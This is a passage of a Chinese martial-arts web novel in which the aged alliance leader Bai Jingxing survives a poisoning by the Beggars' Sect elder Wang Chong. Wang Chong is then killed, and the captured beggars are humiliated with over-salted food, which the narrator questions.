白景行重重地说:“你便是如此打理丐帮事务的?我曾明言,江湖各大门派严禁为恶,今日你竟然为了二两银子,在光天化日之下绑人杀人,如此行径与强匪何异?” 王冲吓得浑身发抖,低着头,不敢说话。 我心想,这白景行的武功到底能厉害到什么程度?看那王冲的身手,也不是泛泛之辈,见到白景行竟然吓得连挣扎之心都不敢有。 这时,地上横七竖八躺着的一片乞丐竟然动了动,接连站了起来。他们左看看,右看看,纷纷惊讶不已,当即跪倒在地上,纳头便拜。 王冲也是一副难以置信的表情,惊道:“前辈,这是......” 白景行一捋胡须,道:“老夫不喜欢杀人,尤其不喜欢杀可怜之人。方才,老夫不过是用剑鞘打晕了几个,瞧你们吓得这熊样儿!” 白景行又开始蹂躏他人的自尊心。我想起淮水之畔那个自杀的老者,望着一群衣衫褴褛,可怜巴巴的乞丐,不知白景行一走,会不会有不堪受辱的乞丐,一剑抹了自己的脖子。 王冲忽然跪着地上,哽咽道:“前辈手下留情,小的感激不尽!丐帮的兄弟们皆是受苦受难的穷苦百姓,我们聚在一起,无非是想在这个世道上生存,少受些欺凌。今日之事,全是我一人所为,兄弟们也是听我号令,前辈若杀便杀我一人吧,不要伤害丐帮的一众兄弟。” 这人竟然如此仁义。我开始有些感动了。 李小谦却发出了一丝不屑地声响,喃喃道:“假仁假义。” 白景行冷冷地问:“你说得可是真心话?” 王冲一字一字地答:“句句真心。” 白景行说:“好吧!今天我只杀了你一个人,这事就算过去了!” 王冲忽然猛地一抖,旋即浑身瑟瑟而抖,目光中闪烁着惊恐、疑惑、难以置信。我想为他求个情,这样舍己为人的汉子江湖上并不多见,他并不是非死不可。 但是,我还没有开口。一道剑影已然闪过。 “嗖”的一声。 剑影切碎空气,剑光划过了王冲的脸。 时间凝固,所有的人都屏息凝视。 这样快的剑,绝对没有人可以逃过。那道剑影犹如天空的闪电,一晃而过,没有人可以看清它的去向,更没有人可以看清那一剑到底割在了哪里。 我以为,王冲已经死了。 或许,连王冲自己都以为他自己已经是个死人了。 但是,他并没有死。 一缕头发飘然落在地上。白景行收起手中的剑,插入腰间,说:“今日削发代首,望你牢记,既然身在这个江湖中自然要有江湖人应守的规矩。倘若再让我发现你作恶,我定斩不饶。” 生死的边缘,王冲由死地踏回人间,仿佛是起死回生一般的喜悦,他连连叩首,谢白景行不杀之恩。 白景行饮一口酒,带着我和李小谦,在群丐仰视之下,傲然离开。 ....... 丐帮,是江湖上最悠久,却也是最神秘的帮派。 盛世而衰,乱世而兴。 没有固定的住所,也没有一脉相承的武功。 相传,丐帮成立于汉朝,第一任帮主名叫向甫兴。据说,这个人才出身名门,才能出众,卓诡不伦。只可惜这人精神有些问题,整天披头散发,疯疯癫癫,骑着毛驴在大街上要饭吃。后来,他召集城中的乞丐,成立了丐帮,自任帮主。 “后来呢?”我听白景行讲得十分有趣,忍不住追问。 白景行喝了一口酒,说:“人家出身名门,自己玩够了,自然是回去做官了。” 为什么要做官呢? 我问:“做丐帮帮主不是更气派吗?” 白景行拍了我的后脑一下,说:“若天下太平,人尽其力便可各得其所,谁会放着好日子不过去做乞丐呢?” 是啊。如今丐帮再度兴起,或许正是这个时代造成的悲剧吧。 我问:“那个王冲是谁?” 白景行说:“他曾是月牙山庄的管事,因盗窃慕容老庄主的遗骨被打断了腿,逐出月牙山庄。好多年都没有消息了,今天又见到他,恐怕不是什么好事啊。” 盗窃遗骨?这世间竟然还有人偷死人的骨头! 我大感好奇,问:“他为什么要偷死人的骨头啊?” 李小谦也是颇为好奇,同问:“对啊!偷死人的遗骨有什么用?!” 白景行叹了一口气,说:“哎......熬汤!” 熬汤! 我和李小谦几乎同时惊讶地叫了出来。 这世间竟然有人要用死人的骨头熬汤,莫非他不是人,而是茹毛饮血的妖怪吗? 当然,这个世间没有妖怪。王冲也不会是妖怪。 白景行喝了一口酒,徐徐道来:“慕容老庄主生前在南海游历,偶然间得了一个千年大灵芝,回家之后做了药膳独自服用。没想到,吃了之后,功力大增,武艺猛进。后来,他死了,江湖上就有人传,千年灵芝已化入血肉,只要吃了慕容庄主一块肉,便可功力大增。月牙山庄听到这个传言,连夜把慕容庄主火化了。再后来,江湖上又传,千年灵芝已深入骨髓,只要用慕容庄主的骨头熬汤喝,也可以功力大增。这王冲便是听信了江湖上的传言,铤而走险,去偷了慕容庄主的遗骨。” 真的有这么神奇的功效? 我问:“真的能功力大增吗?” 白景行啐了一口,骂道:“胡说八道,这群王八羔子整日里炮制谣言,唯恐江湖不乱。任他什么千年灵芝还是万年灵芝,只要是人吃到肚子里都要再拉出来,无非都是一摊粪!除非是吃粪,或许还能咂摸出味儿来,吃人肉啃人骨头的说法,简直是荒谬至极。”说到此处,他气得白眉抖动,将鎏金葫芦里的酒一饮而尽。 “小姑娘的客栈还有多远?”白景行晃了晃手中的酒葫芦。 李小谦慌忙回答:“不远了,不远了,就在前面那条街。” 我问白景行:“那个王冲就这样放了吗?” 白景行忽然眼睛眯成了一条缝,似乎是思虑一番,才缓缓说道:“毕竟是月牙山庄的旧人,总要给几分面子。但愿,我没有放错。” 说话间,我们到了娄琴客栈。 娄琴正在客栈门口擦拭那个油光锃亮的木桩子,见我们回来面露喜色,但表情随即凝固,目不转睛地盯着白景行。 白景行微微笑着,说:“小姑娘,许久不见,你仍旧青春貌美,不减当年啊!” 娄琴笑了,那笑中似有回忆的酸楚,似有岁月的无奈,又仿似有故旧重逢的欢喜,她说:“前辈,你却老了许多。” 白景行哈哈大笑,说:“都已是半身入土之人了,如何能不老?”说罢,他将鎏金葫芦递给娄琴,说:“可有好酒?” 娄琴慌忙上前接过酒葫芦,笑道:“自然是有。”她拿着葫芦,转身离开。 当她转过身去的那一瞬间,我看到一滴晶莹的水珠从娄琴的脸颊上滑落,阳光一照格外清晰明亮。 她哭了? 她为什么会哭? 或许在她送我九郞剑的那一刻起,又或许是更早,我总感觉娄琴悠然地外表下隐藏着悲伤。 而这悲伤,一直隐藏着,隐藏着,仿佛是平波河水下的暗流,只让你感觉到存在,从来不会涌上水面化为汹涌波涛。 但这一刻,在娄琴见到白景行的一刻。那悲伤,似乎已无法掩饰,无法压制。 “哎。”白景行望着娄琴的背影,一声长叹,“她竟然离得这么近。咫尺天涯,不得相见,看来,并非是人所不能,而是心所不愿啊!” 我疑惑地看着白景行,问:“什么意思?我没听懂。” 白景行瞥了我一眼,哼了一声,大步走进了娄琴客栈。 我又问李小谦:“他说得什么意思啊?” 李小谦说:“旦丙啊,该问的问,不该问的就不要问!”说罢,他也快步走了进去。 第一卷 最后一个武林盟主 第六十一章 下毒 娄琴客栈。 宾客往来依旧如常。 一身雪白的白景行静静坐在厅堂之中饮酒。娄琴端坐其侧,默默品茶。两个人都没有说话,不时相视一笑,似乎说尽千言万语,不过一切尽在不言中。 我和李小谦怔怔的坐在一旁。看着两个人奇怪的样子,不免觉得有些尴尬。 “酒不错!”一壶酒几乎快要喝光了,白景行才轻摇着葫芦缓缓地说。 “前辈喜欢,我便再去打一壶。”娄琴淡淡地笑着。 白景行呵呵一笑,说:“不必了,这样好的酒喝多了,只怕嘴都要叼了。今后再喝其他的酒,索然无味,岂不是成了你的罪过?” 娄琴笑着说:“前辈还是这样爱开玩笑。你若喜欢我就多酿一些,你常来便是了。” 白景行缓缓从袖口中掏出一把短剑。剑身华丽,镶嵌的宝石,光彩夺目。 “我的剑!” 我急忙伸手去抢。但白景行身手快如闪电,我还没碰到,九郎剑已到了白景行另一只手上。 白景行并不理我,他微笑着对娄琴说:“未经你允许我拿了你的剑,你不会怪我吧!” 娄琴一怔,随即笑道:“前辈说笑了,一把剑而已,喜欢你便拿去吧!” 我心头一凉,原本是送给我的东西,却被娄琴一句话送给了白景行。我怨恨的看着那个老酒鬼,恨不得将他摁倒在地上,将九郎剑夺过来。 但这只能存在于想象,我不敢做,也做不到。 白景行呵呵的笑着,说:“你舍得?” 娄琴的表情突然凝固了,她的眼神中闪过一丝忧悒,说:“有什么舍不得的,不过是一把剑而已,一把剑!” 白景行问:“这剑上的毒可是他施下的?” 娄琴的眼神中突然闪烁出痛苦的光,似乎白景行的话勾起了她内心深处极为痛苦的回忆。她缓缓闭上双眼,点了点头。 白景行站起身来,将九郎剑轻轻放在桌上,说:“这剑上的毒我已经解了。” “这不可能!”娄琴叫道。突然她表情一滞,似乎想到了什么,看起来有些惊恐,她问:“前辈,你,你已经……” “不错。”白景行背着身子,面朝门外,说,“我已经见过他了。”说吧,他大步向门外走去。 白景行走了。娄琴怔怔的坐在桌上,她死死地盯着九郎剑,一句话也不说,两只手交错在一起,樱唇轻咬,看起来十分慌张。 他们所说的“他”是谁? “他”和九郎剑又有什么关系?与娄琴又是什么关系? 我问:“他是谁?” 娄琴没有回答。李小谦却一把将我扯到一旁,压着嗓子说:“走!” 我问:“干什么去?” 李小谦说:“干你该干的事情去!” 我该干什么?其实,我并不知道自己该干什么。这个问题似乎很难。因为,我每天都在想我应该干什么。但想着想着天就黑了,我却什么都没干。 天又黑了。 娄琴仍旧在客栈厅堂里怔怔地发呆。还是在那个位置。那把剑依旧在桌上静静的躺着,仿佛它也被点住了穴道一般,一动不动。 月光照进娄琴客栈,照在那把剑上,反射出绚丽的光彩。 剑,似乎是在呼唤它的主人。呼唤着主人将它拿起,将它握在手中,抱在怀里。 这是一把孤独的剑,寂寞的剑,忧伤的剑。 就像是孤独的娄琴,寂寞的娄琴,忧伤的娄琴。 一个白影踏进客栈。 白景行又回来了。他一进门就开始笑,不好意思的笑。他说:“老夫出去逛了一圈,发现还是你的酒好喝,可否再给我盛点儿?” 娄琴慌忙站起身来,接过白景行手中的酒葫芦,说:“前辈稍等,我这就去。” 白景行看着我,似乎是想到了什么,问:“陆游小兄弟呢?” 我说:“他走了。回绍兴了。” 圆通那件事之后,陆游就走了。他说挂念自己的母亲,想要回去看看。他还说他会在八月的科考前赶回临安与我们相会。 不一会儿,娄琴端着鎏金葫芦,从后厨走了出来。白景行笑着接过酒,迫不及待地喝了一口。他喉头一滑,咕咚一声,酒如腹中,忽然漏出疑惑的表情。 他口中吧唧几声,眉头一皱,说:“味道不太对啊。怎么有些苦涩的杏仁味?”他又喝了一大口,吧唧几声,说:“奇怪!莫不是被那李家酒肆的酒串了味道?” 娄琴笑着从后厨端出几样小菜,说:“前辈或许是少了些下酒的菜,所以觉得索然无味。” 白景行哈哈大笑,说:“还是小姑娘了解我。” 娄琴拉着我,坐在桌前,说:“一起陪前辈喝两杯。”她将九郎剑拿起来,塞到我手里,说:“收好它。这是你的剑!” 我的剑?! 我握着九郎剑,久违的熟悉感,让我心头一热。只是内心里还有些失落。这把剑已经不是当初的那把九郎剑了。 它已经被白景行解毒了。 娄琴翻开两只酒杯,摆在她和我面前,问:“小谦呢?” 我摇了摇头。一下午,没有见到他的人影,或许他去干他该干的事去了。 娄琴说:“罢了,不等他了。我们先喝。”说罢,她伸手去拿白景行的酒壶想要倒酒,却被白景行抢先拿在手中。娄琴一怔,嗔道:“前辈真是小气,酒都不许喝一杯吗?” 白景行自顾自饮,说:“这么好的酒,还是给我留着吧。”说罢,他从腰间解下一个普通的葫芦,递给娄琴说:“李家酒肆的酒,尝尝如何!” 娄琴笑着接过,刚想要倒上。忽然,听见白景行“呜”的一声,他随即捂住胸口,瞪着眼睛叫道:“这,这酒,有毒!” “咣”的一声,白景行趴倒在桌面上,双眼紧闭,不知死活。 我和娄琴吓得脸都青了。刚才还欢声笑语,转眼间,白景行竟然与我们阴阳两隔。 是谁在酒里下毒? 莫非,是娄琴! 我惊讶地看着娄琴,问:“为,为什么?” 娄琴说:“什么为什么?” 我说:“你为何要给他下毒?!” 娄琴一面焦急地摇晃着白景行,一面烦躁地向我吼:“我没有下毒!我怎么会下毒害前辈?!” 我仍旧不信,她的笃定并不能打消我的疑惑,我说:“是你打来的酒!” “哈哈哈哈……” 一阵畅怀而奸邪的大笑从屋外飘来。我抬起头,只见破衣烂衫的跛子领着四个乞丐站在了娄琴客栈的门口。 王冲! 娄琴冷声问:“你们是谁?” 王冲说:“我乃丐帮大长老王冲!” “是你们下的毒?!”娄琴声音更冷了。 “不错!”王冲狞笑着,说,“这老不死的仗着自己当了武林盟主,竟完全不把我丐帮放在眼里。巢湖武林大会我丐帮又没去,凭什么对我发号施令!” 竟然是王冲下的毒。他一定是对白景行白天救我和李小谦的事怀恨在心,所以才暗下杀手。 我叫道:“你个卑鄙小人。” 王冲端着手中的木棍指着我,说:“等会儿再找你算账!”随后,他目光移向娄琴,用极为轻佻的眼神从上到下打量了一番,说:“这小娘们儿不错,一会儿带回去让我舒服舒服。老子自从出了月牙山庄已经很久都没碰过女人了,再不拉出来磨练磨练,铁杵都要锈住了!” 娄琴气得浑身发抖,攥紧了拳头,咬牙切齿的说:“你这个无耻之徒!看我不把你千刀万剐!” 第一卷 最后一个武林盟主 第六十二章 装死 依旧是娄琴客栈。 一轮圆月高挂在空中,除了清冷的月光,竟然还有一圈诡异的红晕。 忽然一道突如其来的劲风,穿街而过,发出“呜呼呜呼”的声响,似乎是上天的悲鸣,为白景行而悲鸣。 他就这样死了? 我从未想过一个武功如此深不可测的高手也会死。 一路走来,我几乎就要感觉,白景行是有如神仙一般的存在。他一身白衣,须发飘然,宛若神仙。他武功深不可测,出手风驰电掣,可以逃过所有人的眼睛。 但他却死了!我仍旧不敢相信,伸手去摸他的鼻孔,却摸不到一丝的气息。 娄琴已然怒不可遏。她伸手喊道:“把剑给我!” 我应了一声,拔剑出鞘,将九郎剑递到娄琴手中。剑光柔和,却寒气森森。娄琴持剑杀向王冲,凌厉的剑招直刺王冲的咽喉。 王冲大叫一声:“闪开。”他将左右的乞丐推到一旁,向后一跃,与娄琴拉开距离。随即,使出双拳功夫,“噼噼啪啪”的拳头犹如坚硬的石头抵挡着娄琴的剑。 那可是九郎剑。一挥之间便可斩断金刀的九郎剑!却被王冲用双拳,硬生生地接了下来。 娄琴和王冲两人,一个用剑,一个用拳,两人在客栈里缠斗了三五十招,难分上下。 好好的一间楼勤客栈,桌椅板凳被他们砸得粉碎,厅堂里的摆设七零八落,满眼望去尽是狼藉。 我就守在白景行的身旁。在这个时候,即便他已是个死人,对我来说,也是莫大的保护。 因为娄琴的每一剑都刻意绕开白景行的尸首,满一间客栈仅剩一处完好。 “我靠,什么情况?” 两个人正打得不可开交时,一个熟悉的声音从门外传来。 李小谦回来了。 然而,李小谦的归来对场上的局势并无助益。他很快便被站在门口的四个乞丐团团围了起来。 四个乞丐敲着木棍,围着李小谦乱转。李小谦再次使出他仅会的少林擒拿功夫,大叫:“我乃少林派圆通大师座下亲传弟子,不要命的上来试试。” 我感觉他这样的名号比他本人的功夫更加具有威慑力。虽然,少林派已经没了。但凭借他往日的声名,依旧可以吓倒不少鸡鸣狗盗之辈。 “快把白前辈叫起来。”李小谦冲我大喊,“他是不是又喝多了?” 我说:“他已经死了!” 李小谦一怔,骂道:“早不死,晚不死,偏偏这个时候死,他妈的!” 忽然,王冲一步跃出门外。呼呼的风吹动着他的破衣烂衫犹如彩带一般飘舞。娄琴将九郎剑插在白景行趴着的桌面上,缓缓走了出去。 “娄姐。”我轻声叫着,“你的剑!” 娄琴回过头来,冲我微微一笑,说:“是你的剑!”她踏在门框的一瞬间,我只看见紫色的光一闪,娄琴化成一道紫影穿过四个乞丐。四个乞丐仿佛被一股大力震开,向四个方向倒飞出去。 最后,那道紫影停在娄琴客栈门口那个油光锃亮的木桩前。娄琴用脚尖在木桩侧面轻轻一点。 “咔嚓”一声,像是触动了什么机括。旋即,木桩顶端青光一闪,竟然有一柄长剑从木桩里飞了出来。直直地飞入天上,又稳稳地落在了娄琴的手中。 那个木桩里竟然藏了一把剑!难怪她不让人栓牲口! 李小谦走到我身旁,开始摆弄一动不动的白景行。他问:“这老头是怎么死的?” 我说:“是被王冲毒死的!” 李小谦啧啧两声,惋惜道:“好一个武林盟主就这么死了。也不教我两招儿功夫。” “你想让我教你什么?” 一个低沉而微弱的声音,从那个白乎乎的人嘴里飘了出来。 我和李小谦都被吓得猛然抖了一个激灵。尤其是李小谦,他的表现更为夸张,犹如被雷击中了一般,全身巨震,险些坐倒在地上。 “你,你没有死?!”我惊讶道。 白景行晃晃悠悠的直起身子,顺手拿起桌上的筷子,抄起一粒蚕豆放在口中,“嘎嘣嘎嘣”地嚼了起来。一边嚼着一边含混不清地说:“老夫哪有那么容易死?” 客栈之外。娄琴正与王冲打得难解难分,根本没有发现白景行已经醒了过来。 白景行看着屋外,说:“这瘸子腿脚不利索,功夫却当真不错。恐怕小姑娘要吃亏了。”说罢,他夹起一粒蚕豆,向屋外一掷。 我没有看到蚕豆去了哪里。我只听到门外打斗正酣的王冲“哎呦”一声,他身子莫名向前一倾,直直地撞向娄琴刚刚刺出的一剑。 这一剑,正中胸口。 我仿佛听到了利剑刺破血肉的滋啦声。娄琴手中的那柄长剑竟直直地穿透了王冲的胸膛。 这便是武林盟主的功力吗? 一粒蚕豆,杀死一个人。取人性命之事,在他手中竟然如同探囊取物一般轻巧。 王冲的眼中尽是疑惑、惊恐,他不敢置信的低下头去看插在他胸口的那柄剑。剑就在那里,就在他的胸口。无论他信与不信,殷红的鲜血已经顺着剑身的血槽流了出来。 “啪嗒”一声滴落在地上。 娄琴也不敢置信地望着王冲的胸口。他们两个人几乎同时扭头向客栈里看过来。 白景行微笑着向他们招了招手,喊道:“小姑娘,快来喝酒!” 娄琴喜出望外。她猛地抽出长剑,王冲胸腔的鲜血瞬间喷射出去,随即,“哐当”一声倒在地上,眼看是活不成了。 娄琴快步向客栈跑来,满脸都是盈盈的笑意。路过门口的木桩时,她将剑向下一戳,长剑没入木桩之中。 “前辈,我以为你……”娄琴的喜悦的声音中带着呜咽。 白景行朗声大笑,说:“老夫是什么样的人你还不知?老夫饮酒如饮水,尝遍了世间的佳酿,那壶酒打在我鼻孔一过,我便知道里面下了毒药,又怎么会不做些防备呢?” 我明明看他喝到了肚子里,他要怎么做防备? 白景行撇了我一眼说:“你是不是想问,为什么明明看着我喝下去了,怎么会没有事?” 我当时惊得出了一身冷汗。莫非白景行修炼了读心术,能够看透我的心思? 白景行说:“瞅你那傻样,你一皱眉毛我就知道你在想什么。老夫行走江湖多年,若没有点儿以内力逼毒的功夫,早就被毒死不知道多少次了!” 原来如此! 这时,娄琴客栈外的四个乞丐正蹑手蹑脚的准备开溜。白景行一拍桌子,大喝一声:“都给老夫站住!”几个乞丐竟然扑通一声跪到了地上,向白景行磕着响头,直喊饶命。 白景行挺直腰板,开始问话:“你们都叫什么?在丐帮任什么职务?” 四个乞丐面面相觑,谁都不肯说话。 白景行指着最左边的一个乞丐,说:“从你开始,说!” “小人名叫李二蛋,是丐帮的三长老。” “你师从何处啊?”白景行问。 李二蛋说:“小人没有师从。” 白景行一拍桌子,喝道:“没有师父?!凭什么做了丐帮的长老?!” 李二蛋颤颤巍巍地说:“小人讨了五十两银子孝敬帮主,因此帮主封我做了三长老。” “你呢?”白景行看着第二乞丐。 他畏畏缩缩地说:“小人名叫陈二狗,是丐帮的四长老。” 白景行又问:“还有呢?!” 陈二狗颤声道:“啊,啊,小人孝敬了帮主三十两银子。” 白景行目光刚移向第三个乞丐,他就开始磕头,边磕边说:“小人叫李铁柱,是丐帮的五长老,小人,小人……” 李铁柱支支吾吾,似乎有什么难以启齿之事。白景行一副青天大老爷的做派,一拍桌子叫道:“从实招来!” 李铁柱吓得一个激灵,连连磕头求饶,说:“小人把媳妇儿献给了帮主。” 白景行开始审问第四个乞丐,他说:“到你了!” 他浑身发抖,脸色惨白,竟然“嗝”的一声晕了过去! 白景行问:“怎么回事?” 李铁柱抓住机会,积极表现,抢先说道:“回大老爷,他叫牛小宝,是丐帮的二长老。” 白景行问:“他给你帮主送了什么?” 李铁柱大声回道:“回老爷,他什么也没送,因为,因为,帮主是他大舅哥!” 这他娘的都是一群什么东西! 第一卷 最后一个武林盟主 第六十三章 作贱 门外已不是暗流汹涌的黑夜。 从那一阵劲风吹来开始,外面的世界已经风起云涌,变得异常躁动。乌云不知从何处飘来,遮住了月亮,陡然一个霹雳,震天彻地,告诉我们一场暴雨即将倾盆。 娄琴客栈里,一片狼藉,摇摇晃晃的灯火,照着白景行冷峻的面庞。 白景行眉宇之间带着微微怒气,显然他对这个丐帮的情况颇感震怒。他饮了一口酒,忽然,脸色一变,叫道:“糟糕,老夫忘了,这酒里有毒!” 一群人被白景行一句话吓得脸色大变。我心想,这老酒鬼脑子竟然如此不灵光,这种要命的事情竟然也能忘了。 白景行眉毛一挑,翻掌开始运功,稍顷,几滴浑浊的液体从他指尖滴到地上。他淡淡一笑,说:“好了。” 那四个乞丐仍然在地上怯生生地跪着。晕倒的牛小宝已经被李小谦一碗热水泼醒了,此刻满脸红肿,咬着腮帮,皱着眉,看上去十分痛苦。 白景行笑着,看着四个乞丐,语气十分平和地问:“吃饭了吗?” 四个乞丐面面相觑,不敢说话。 白景行说:“吃了就吃了,没吃就没吃,但说无妨。” 李铁柱嘿嘿一笑,说:“老爷,您说我们吃没吃啊?” 白景行一拍桌子,喝道:“我哪里知道你们吃没吃啊!”说罢,他扭头向我们挤眉弄眼。 娄琴笑道:“许是还没吃呢,我这就吩咐后厨去做点吃的。” “啊,不!”李小谦叫道,“我去!我给你们做一道单饼卷肉!” 我顿时脑中一片空白。 发生了什么? 他们都怎么了?刚才还有一本正经地审问四个乞丐,这会儿竟要请他们吃饭!是何道理?! 我尚未弄清缘由,李小谦拉着我走进后厨。后厨的老张正躲在炉灶旁瑟瑟发抖,听到脚步声,抱头大叫:“大侠饶命,我只是个厨子,什么也不知道!” 李小谦一把将老张拎了起来,说:“是我!” 老张一看是李小谦,当时脸色放松下来,长嘘一口气,说:“是你啊,我还以为有人杀进来了呢!”他向门外瞥了一眼,问:“怎么样啦?” 李小谦问:“会炖肉吗?” 老张一怔,点头道:“会。” 李小谦说:“炖两斤肉!会烙饼吗?” 老张又点头,说:“会!” 李小谦说:“烙四张饼。” 老张一面疑惑地看着李小谦,一面开始伸手摸家伙。李小谦狡黠地笑了笑,说:“这个……炖两斤肉……得用多少盐啊。” 老张说:“那能用多少啊。两勺足矣。” 李小谦说:“放上五斤盐,会不会多了点啊?!” 老张咧嘴一笑,说:“那肯定是多了……”他看着李小谦的眼睛忽然一滞,诺诺地说:“不过……也可以放!” 李小谦一拍老张的肩膀说:“你很有慧根!” 他扫了一眼厨房的摆设,问:“和面得放碱吧?” 老张问:“放多少?” 李小谦说:“你觉得呢?” 老张狐疑地看着李小谦,问:“一斤够不够?” 李小谦哈哈大笑,说:“足矣,足矣!” 我在一旁都听傻了。这是给人吃的吗?! 我问李小谦:“你要干什么?” 李小谦说:“替白老头出气!” 半个时辰不到,白花花的盐水汤里开始飘出浓郁的肉香。老张将肉盛到碗中,四张暗黄色的烙饼整齐地叠在盘上。 我和李小谦各自端了一样,转身要走。老张忽然喊住了我俩,只见他盛了四碗白乎乎的肉汤,腾腾的热气中还飘着浓郁的肉香。 老张说:“一人一碗汤。如果觉得肉咸了,可以用汤冲一冲!” 李小谦一脸奸笑地说:“老张,你比我还坏!”两人会心一笑,将一顿大餐端到了桌上。 四个乞丐看到桌上一大碗肉,馋得口水直往下淌。李小谦冲白景行眨了眨眼睛,白景行会意地点头,对着四个乞丐说:“吃!” 话音一落,四个乞丐吧唧着嘴,口水犹如黄河泛滥一发不可收拾,纷纷扯着破袖子擦嘴,两只眼睛盯着肉连眨都不眨一下。 但是,谁都没有动。 “怎么?”白景行扯着嗓子,叫道,“不合胃口?” 老实的牛小宝抹干净嘴角的口水,说:“不是,怕,怕,怕......” “怕有毒?!”李小谦问。 牛小宝头重重一点:“嗯!” 李小谦一撸袖子,说:“白老前辈在这里,要杀你们还用得着下毒?!不吃拉倒!”说罢,他端起碗来,冲我一甩头,说:“走,旦丙,咱俩去吃。” “我不!”我急忙叫道。 五斤盐,一斤碱,这种饭吃到嘴里,恐怕我此生都难以忘记。 好在李铁柱眼疾手快,一把抢过李小谦手中的碗,说:“我吃,我吃!”说完,他直接下手捞了一块肉,一口塞进嘴里。 李铁柱的脸登时便绿了!我仿佛听到了大块儿的盐粒在他嘴中被嚼碎的声音。 “嘎吱,嘎吱” 李铁柱欲哭无泪,强颜欢笑的模样比哭还要难看。 “怎么?”李小谦故作疑惑地问,“是不是咸了?” 李铁柱点了点头,突然又摇头。李小谦从盘子里拿起一块饼塞到他手中,说:“吃口饼压一压!” 李铁柱一脸感激地接过暗黄的饼,猛咬了一大口。这一口下去,李铁柱的脸立刻撮成了一团,可怜巴巴地望着我们,却仍然在强行咀嚼。 可那饼的滋味着实可以想象,到底有多么难吃。李铁柱咀嚼了几下,显然已不堪忍受,竟然强行往下吞咽。奈何自己喉管狭小,如何吞得下那么大一口饼。 “嗝”的一声,李铁柱被噎住了。 “是不是噎着了?”李小谦假意关切,热心地递上肉汤,说:“喝一口,往下顺顺。” 我浑身上下,鸡皮疙瘩起了一身,禁不住打了几个哆嗦。李铁柱看着快要哭出来,他端着肉汤的两只手不停地颤抖。他低头看看碗,又抬头看看李小谦,内心的挣扎在他痛苦的表情中体现得淋漓尽致。 “需要老夫喂你吗?!”白景行淡淡地说。 李铁柱连忙摇头,闭着眼睛喝了一大口。再睁开眼睛时,我看到一行清泪夺眶而出,在李铁柱污浊不堪的脸颊上留下两条清晰的水痕。 人生如此,不如去死! 我摇头叹息:“早知今日,何必当初。”心中暗骂,李小谦果然阴险狠毒! 四个人在李小谦的监督和白景行的淫威之下,强忍着痛苦把所有的东西都吃了个精光。 当牛小宝哭着把最后一口汤艰难地倒进嘴里时,四个人“咣当”一声贵在地上,扯着嘶哑的喉咙,磕头道谢:“谢大人赏赐!” 白景行终于露出了满意的微笑,说:“今日之事就此作罢,回去告诉你们帮主,既然开门立派,就要谨守江湖规矩。再敢做这些下三滥的事,王冲就是下场!” 四个乞丐连连磕头。相互搀扶着跑出了娄琴客栈。 门外已然下起了大雨,“哗啦哗啦”,敲打着这个原本宁静的夜,发出叮叮当当的声响。 他们走了。我望着他们狼狈的背影,在大雨之中仰面朝天,张着大嘴,恨不得一口将天上的雨水全都吞下去。 客栈里的他们三人在笑,笑得十分肆虐。似乎是看了多么好笑的一场大戏。 我却怎么也笑不出来,反而怒从心起,一拍桌子,喝道:“他们不过是一群穷苦人,至于这么作贱他们吗?!” 笑声戛然而止。他们三个人看着我,我也看着他们。 许久,白景行才缓缓地站了起来,淡淡地说:“穷苦人就可以作恶不受惩处吗?” 白景行又走了。他的白色身影没入雨夜,留给我久久的遐思。 这样做,真的可以吗? 第一卷 最后一个武林盟主 第六十四章 中元 我们本以为丐帮不过是这个悲剧时代所造就的跳梁小丑。我们料定王冲一死,这群乌合之众必然涣散,因而便没有把他们放在心上。 至于丐帮的帮主马小六,因他那极具乡土风味的名字,以及他那个胆小如鼠的小舅子,被我们猜想为王冲的傀儡,完全不值一提。 但是,后来,我们便知道,我们所有的人都猜错了。 七月十五。中元节。夜。 鬼门大开,阴气森森。娄琴客栈早早便上板歇业。天刚黑,娄琴便嘱咐我和李小谦:“今天是中元节,街面上鬼魅纵横,你们只管待在各自的屋里,千万不要出去。” 李小谦不屑地说:“你们这都是封建迷信。我以前从来不管什么七月十五,晚上照样出去撸串。” 娄琴呵斥李小谦,说:“不可胡说,快些回房。” 两个时辰后。 子时将近。相传,这是一天中阴气最重的时候。到了中元节这天的子时,地府的鬼门大开,会放出无数的鬼魂回家探亲。 李小谦坐在我的床头,向我讲述有关中元节的传说。他说:“这些鬼啊,大多都是好鬼。但是,也难免有些糊涂鬼,他们摸错门,上错炕,找错人,都是有可能的。” 我不由地看向四周,顿时感觉阴风阵阵,窗上挂着的风铃一响,悦耳的铃声此刻令我感觉异常诡异。 “时辰不早了!”李小谦打了个哈欠,说,“我回房睡了。你也早点休息吧。” 我突然感觉到强烈的恐惧感,似乎周身围坐了无数的孤魂野鬼一般。一阵阴风从窗外吹进来,风铃“叮当当”的乱响。不知是眼花了,还是恐惧让我产生了幻觉,我仿佛看到了一道游离的白影在我屋中飘荡。 我心里咯噔一下,颤巍巍地说:“有,有鬼。” “哈哈,还想吓唬我,损色!”李小谦笑着,顺着我指的方向看去。 “啊......” 李小谦抱着头大叫,蹲着地上念叨:“老子是穿过来哈,不知道旧社会真有这玩意,不敬之处,还请兄弟海涵!” 白影一飘,竟然倒挂李小谦头顶的房梁上,一尺多长的白发垂下,正好搭在李小谦的脸上。 李小谦吓得脸色惨白,与那片白发浑然一体。而我,已经看清楚了,那个白影的确是鬼,不过是个老酒鬼! 我问:“你怎么来了。” 白景行哈哈大笑,一翻身,飘然落地。落地的一刹那,他脚下“啪嗒”一声。 白景行疑惑地低头查看,问:“哪来的水?” 李小谦幽怨地看着白景行,说:“前辈,你把晚辈的水龙头吓崩了!” 白景行问:“何为水龙头?”他顺水寻源,最终目光落在李小谦的裆下,顿时恍然大悟,说:“水龙头?!哈哈,十分形象!” 我们说话间,又一阵风吹进来,风铃一响,一个人影钻了屋里。我没有看到那人的脸,但是我看到了他腰间悬着的刀。 那并不是一把普通的刀。刀把上缠着金丝,护手上嵌着游龙。那把刀,我曾见过两次。 一次在巢湖,一次在淮水。 那把刀的主人缓缓转过身来。正是陈伯洋。 “哪里来得水?”陈伯洋看着脚下问道。 我说:“李小谦的水龙头崩了。” 李小谦急道:“你,你住口!” “何为水龙头?”陈伯洋不解地问,他顺水寻源,目光同样落在李小谦双腿之间,当即会心一笑,道:“哈哈,水龙头?!十分新颖!” 接下来的一炷香时间里,同一个窗口,风铃又响了八次,接二连三的钻进来八个人。每个人进来都对白景行与陈伯洋毕恭毕敬,随即便开始询问,哪里来的水。 我解释了八次,是李小谦的水龙头崩了。 李小谦的脸胀得通红,他掐着我的脖子大叫:“姬旦丙,你住口!” 